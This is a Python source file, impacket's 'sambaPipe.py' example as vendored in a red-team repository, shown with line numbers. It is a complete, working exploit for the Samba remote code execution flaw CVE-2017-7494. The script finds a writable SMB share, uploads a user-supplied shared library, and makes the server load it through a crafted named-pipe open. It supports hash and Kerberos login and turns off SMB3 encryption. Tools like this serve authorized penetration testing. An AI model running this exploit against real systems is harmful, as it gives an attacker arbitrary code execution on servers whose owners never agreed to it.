github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/sambaPipe.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # 9 # Author: 10 # beto (@agsolino) 11 # 12 # Description: 13 # This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through 14 # the -so parameter. 15 # 16 # The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is 17 # retrieved by using NetrShareEnum() API with info level 2. 18 # 19 # Example: 20 # 21 # ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1 22 # 23 # It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username 24 # to use for authentication will be 'bill' and the password will be asked. 25 # 26 # ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1 27 # 28 # Same as before, but anonymous authentication will be used. 29 # 30 # 31 32 import argparse 33 import logging 34 import sys 35 from os import path 36 37 from impacket import version 38 from impacket.examples import logger 39 from impacket.nt_errors import STATUS_SUCCESS 40 from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ 41 FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE 42 from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ 43 SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA 44 from impacket.smbconnection import SMBConnection 45 46 47 class PIPEDREAM: 48 def __init__(self, smbClient, options): 49 self.__smbClient = smbClient 50 self.__options = options 51 52 def isShareWritable(self, shareName): 53 logging.debug('Checking %s for write access' % shareName) 54 try: 55 logging.debug('Connecting to share %s' % shareName) 56 tid = self.__smbClient.connectTree(shareName) 57 except Exception as e: 58 logging.debug(str(e)) 59 return False 60 61 try: 62 self.__smbClient.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) 63 writable = True 64 except Exception: 65 writable = False 66 pass 67 68 return writable 69 70 def findSuitableShare(self): 71 from impacket.dcerpc.v5 import transport, srvs 72 rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(), 73 filename=r'\srvsvc', smb_connection=self.__smbClient) 74 dce = rpctransport.get_dce_rpc() 75 dce.connect() 76 dce.bind(srvs.MSRPC_UUID_SRVS) 77 resp = srvs.hNetrShareEnum(dce, 2) 78 for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']: 79 if self.isShareWritable(share['shi2_netname'][:-1]): 80 sharePath = share['shi2_path'].split(':')[-1:][0][:-1] 81 return share['shi2_netname'][:-1], sharePath 82 83 raise Exception('No suitable share found, aborting!') 84 85 def uploadSoFile(self, shareName): 86 # Let's extract the filename from the input file pathname 87 fileName = path.basename(self.__options.so.replace('\\', '/')) 88 logging.info('Uploading %s to target' % fileName) 89 fh = open(self.__options.so, 'rb') 90 self.__smbClient.putFile(shareName, fileName, fh.read) 91 fh.close() 92 return fileName 93 94 def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, 95 impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, 96 createContexts=None): 97 98 packet = self.__smbClient.getSMBServer().SMB_PACKET() 99 packet['Command'] = SMB2_CREATE 100 packet['TreeID'] = treeId 101 if self.__smbClient._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True: 102 packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS 103 104 smb2Create = SMB2Create() 105 smb2Create['SecurityFlags'] = 0 106 smb2Create['RequestedOplockLevel'] = oplockLevel 107 smb2Create['ImpersonationLevel'] = impersonationLevel 108 smb2Create['DesiredAccess'] = desiredAccess 109 smb2Create['FileAttributes'] = fileAttributes 110 smb2Create['ShareAccess'] = shareMode 111 smb2Create['CreateDisposition'] = creationDisposition 112 smb2Create['CreateOptions'] = creationOptions 113 114 smb2Create['NameLength'] = len(fileName) * 2 115 if fileName != '': 116 smb2Create['Buffer'] = fileName.encode('utf-16le') 117 else: 118 smb2Create['Buffer'] = b'\x00' 119 120 if createContexts is not None: 121 smb2Create['Buffer'] += createContexts 122 smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength'] 123 smb2Create['CreateContextsLength'] = len(createContexts) 124 else: 125 smb2Create['CreateContextsOffset'] = 0 126 smb2Create['CreateContextsLength'] = 0 127 128 packet['Data'] = smb2Create 129 130 packetID = self.__smbClient.getSMBServer().sendSMB(packet) 131 ans = self.__smbClient.getSMBServer().recvSMB(packetID) 132 if ans.isValidAnswer(STATUS_SUCCESS): 133 createResponse = SMB2Create_Response(ans['Data']) 134 135 # The client MUST generate a handle for the Open, and it MUST 136 # return success and the generated handle to the calling application. 137 # In our case, str(FileID) 138 return str(createResponse['FileID']) 139 140 def openPipe(self, sharePath, fileName): 141 # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style 142 # to make things easier for the caller. Not this time ;) 143 treeId = self.__smbClient.connectTree('IPC$') 144 sharePath = sharePath.replace('\\', '/') 145 pathName = '/' + path.join(sharePath, fileName) 146 logging.info('Final path to load is %s' % pathName) 147 logging.info('Triggering bug now, cross your fingers') 148 149 if self.__smbClient.getDialect() == SMB_DIALECT: 150 _, flags2 = self.__smbClient.getSMBServer().get_flags() 151 152 pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName 153 154 ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) 155 ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() 156 ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2) 157 ntCreate['Parameters']['FileNameLength'] = len(pathName) 158 ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA 159 ntCreate['Parameters']['FileAttributes'] = 0 160 ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ 161 ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE 162 ntCreate['Parameters']['CreateOptions'] = FILE_OPEN 163 ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION 164 ntCreate['Parameters']['SecurityFlags'] = 0 165 ntCreate['Parameters']['CreateFlags'] = 0x16 166 ntCreate['Data']['FileName'] = pathName 167 168 if flags2 & SMB.FLAGS2_UNICODE: 169 ntCreate['Data']['Pad'] = 0x0 170 171 return self.__smbClient.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) 172 else: 173 return self.create(treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, 174 creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) 175 176 def run(self): 177 logging.info('Finding a writeable share at target') 178 179 shareName, sharePath = self.findSuitableShare() 180 181 logging.info('Found share %s with path %s' % (shareName, sharePath)) 182 183 fileName = self.uploadSoFile(shareName) 184 185 logging.info('Share path is %s' % sharePath) 186 try: 187 self.openPipe(sharePath, fileName) 188 except Exception as e: 189 if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: 190 logging.info('Expected STATUS_OBJECT_NAME_NOT_FOUND received, doesn\'t mean the exploit worked tho') 191 else: 192 logging.info('Target likely not vulnerable, Unexpected %s' % str(e)) 193 finally: 194 logging.info('Removing file from target') 195 self.__smbClient.deleteFile(shareName, fileName) 196 197 198 # Process command-line arguments. 199 if __name__ == '__main__': 200 # Init the example's logger theme 201 logger.init() 202 print(version.BANNER) 203 204 parser = argparse.ArgumentParser(add_help=True, description="Samba Pipe exploit") 205 206 parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') 207 parser.add_argument('-so', action='store', required = True, help='so filename to upload and load') 208 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 209 210 group = parser.add_argument_group('authentication') 211 212 group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 213 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 214 group.add_argument('-k', action="store_true", 215 help='Use Kerberos authentication. Grabs credentials from ccache file ' 216 '(KRB5CCNAME) based on target parameters. If valid credentials ' 217 'cannot be found, it will use the ones specified in the command ' 218 'line') 219 group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' 220 '(128 or 256 bits)') 221 222 group = parser.add_argument_group('connection') 223 224 group.add_argument('-dc-ip', action='store', metavar="ip address", 225 help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 226 'the target parameter') 227 group.add_argument('-target-ip', action='store', metavar="ip address", 228 help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 229 'This is useful when target is the NetBIOS name and you cannot resolve it') 230 group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 231 help='Destination port to connect to SMB Server') 232 233 if len(sys.argv) == 1: 234 parser.print_help() 235 sys.exit(1) 236 237 options = parser.parse_args() 238 239 if options.debug is True: 240 logging.getLogger().setLevel(logging.DEBUG) 241 else: 242 logging.getLogger().setLevel(logging.INFO) 243 244 import re 245 246 domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 247 options.target).groups('') 248 249 # In case the password contains '@' 250 if '@' in address: 251 password = password + '@' + address.rpartition('@')[0] 252 address = address.rpartition('@')[2] 253 254 if options.target_ip is None: 255 options.target_ip = address 256 257 if domain is None: 258 domain = '' 259 260 if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 261 from getpass import getpass 262 263 password = getpass("Password:") 264 265 if options.aesKey is not None: 266 options.k = True 267 268 if options.hashes is not None: 269 lmhash, nthash = options.hashes.split(':') 270 else: 271 lmhash = '' 272 nthash = '' 273 274 try: 275 smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT) 276 if options.k is True: 277 smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip) 278 else: 279 smbClient.login(username, password, domain, lmhash, nthash) 280 281 if smbClient.getDialect() != SMB_DIALECT: 282 # Let's disable SMB3 Encryption for now 283 smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA 284 pipeDream = PIPEDREAM(smbClient, options) 285 pipeDream.run() 286 except Exception as e: 287 if logging.getLogger().level == logging.DEBUG: 288 import traceback 289 traceback.print_exc() 290 logging.error(str(e))